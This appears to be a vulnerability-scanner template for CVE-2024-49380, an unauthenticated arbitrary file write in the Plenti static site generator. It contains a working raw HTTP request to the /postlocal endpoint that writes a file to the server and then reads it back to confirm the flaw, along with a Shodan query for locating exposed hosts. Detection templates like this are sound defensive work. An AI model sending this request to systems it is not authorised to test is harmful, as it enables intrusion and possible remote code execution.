Plenti < v0.7.2 - OS Command Injection

id: CVE-2024-49380

info:
  name: Plenti < v0.7.2 - OS Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Plenti, a static site generator, has an arbitrary file write vulnerability in versions prior to 0.7.2. The `/postLocal` endpoint is vulnerable to an arbitrary file write vulnerability when a plenti user serves their website. This issue may lead to Remote Code Execution. Version 0.7.2 fixes the vulnerability.
  impact: |
    Unauthenticated attackers can write arbitrary files to the server, potentially achieving remote code execution.
  remediation: |
    Update Plenti to version 0.7.2 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2024-297_GHSL-2024-298_plenti/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-49380
    cwe-id: CWE-78
    epss-score: 0.02763
    epss-percentile: 0.8452
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"Plenti"
  tags: cve,cve2024,plenti,rce,injection,intrusive,vuln,vkev

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /postlocal HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [{"Action": "create","Contents":"{{randstr}}","File": "static/{{filename}}.txt"}]

      - |
        GET /{{filename}}.txt?{{wait_for(5)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'
          - 'contains(header_2, "text/plain")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a00473045022100ccb31c86b0f2a40d3ddca4aa0a81e664c9c201357d6bbe8370e6f847abacd21102205ca52bc37707bd1b14e2ed0ba65fcb9af1a45da84b08dd114389bfd92a54be40:922c64590222798bb761d5b6d8e72950